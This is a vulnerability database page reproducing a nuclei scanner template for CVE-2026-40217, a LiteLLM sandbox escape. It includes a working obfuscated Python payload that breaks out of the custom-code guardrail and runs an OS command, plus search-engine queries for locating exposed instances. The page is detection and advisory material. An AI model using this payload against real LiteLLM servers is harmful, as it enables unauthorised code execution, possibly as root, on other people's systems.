Lucene search
+L

LiteLLM < 1.25.0 - Remote Code Execution

🗓️ 25 Oct 2026 02:06:46Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 54 Views

Authenticated RCE in LiteLLM < 1.25.0 via /guardrails/test_custom_code endpoint bypass.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Unprotected Alternate Channel in Litellm
19 May 202613:19
–githubexploit
bdu_fstec
BDU FSTEC
LiteLLM Proxy Server Code Execution
24 Jun 202600:00
–bdu_fstec
cgr
Chainguard
CVE-2026-40217 vulnerabilities
24 Jun 202620:17
–cgr
circl
Circl
CVE-2026-40217
10 Apr 202615:17
–circl
cnnvd
CNNVD
LiteLLM security vulnerabilities
10 Apr 202600:00
–cnnvd
cve
CVE
CVE-2026-40217
10 Apr 202613:43
–cve
cvelist
Cvelist
CVE-2026-40217
10 Apr 202613:43
–cvelist
euvd
EUVD
EUVD-2026-21376
11 May 202616:17
–euvd
github
Github Security Blog
Duplicate Advisory: LiteLLM has a sandbox escape in custom-code guardrail
10 Apr 202615:31
–github
github
Github Security Blog
LiteLLM has a sandbox escape in custom-code guardrail
11 May 202616:17
–github
Rows per page
id: CVE-2026-40217

info:
  name: LiteLLM < 1.25.0 - Remote Code Execution
  author: ritikchaddha
  severity: high
  description: |
    LiteLLM before 1.25.0 allows authenticated users with the master API key to execute arbitrary Python code through the /guardrails/test_custom_code endpoint intended for custom guardrail testing. The endpoint’s insufficient filtering mechanisms can be bypassed, allowing attackers to abuse Python’s string operations and bytecode manipulation to break out of the restricted environment. Successful exploitation may lead to remote code execution as the LiteLLM process user, which may be root when using the default Docker image.
  impact: |
    An authenticated attacker with the master key can escape the guardrail sandbox and execute arbitrary commands on the LiteLLM host, potentially as root when using the default container.
  remediation: |
    Block /guardrails/test_custom_code at the reverse proxy, restrict admin API access, avoid exposing the management interface to untrusted networks, and do not run LiteLLM as root. Apply vendor patches when available.
  reference:
    - https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/
    - https://github.com/BerriAI/litellm
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40217
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-40217
    epss-score: 0.03399
    epss-percentile: 0.88802
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:439373620
    fofa-query: title="LiteLLM"
  tags: cve,cve2026,litellm,guardrail,rce,intrusive,vkev

http:
  - method: POST
    path:
      - "{{BaseURL}}/guardrails/test_custom_code"

    headers:
      Authorization: Bearer {{api_key}}
      Content-Type: application/json
      Accept: application/json

    body: |
      {
        "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
        "test_input": {
          "messages": [
            {
              "role": "user",
              "content": "test"
            }
          ]
        }
      }

    skip-variables-check: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "rce\":", "success\":true")'
          - 'regex("uid=[0-9]+.*gid=[0-9]+.*", body)'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100e1508faa17f6d2bc3d0d497f1b3ec8278dd5df549740788092d522bcaa8ac5a0022100d3a8c152229c8ec951f12827509b1b543956ac981d92849d4bed3ba14cb7a27f:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Aug 2026 12:19Current
7High risk
Vulners AI Score7
CVSS 3.18.8
EPSS0.15532
SSVC
54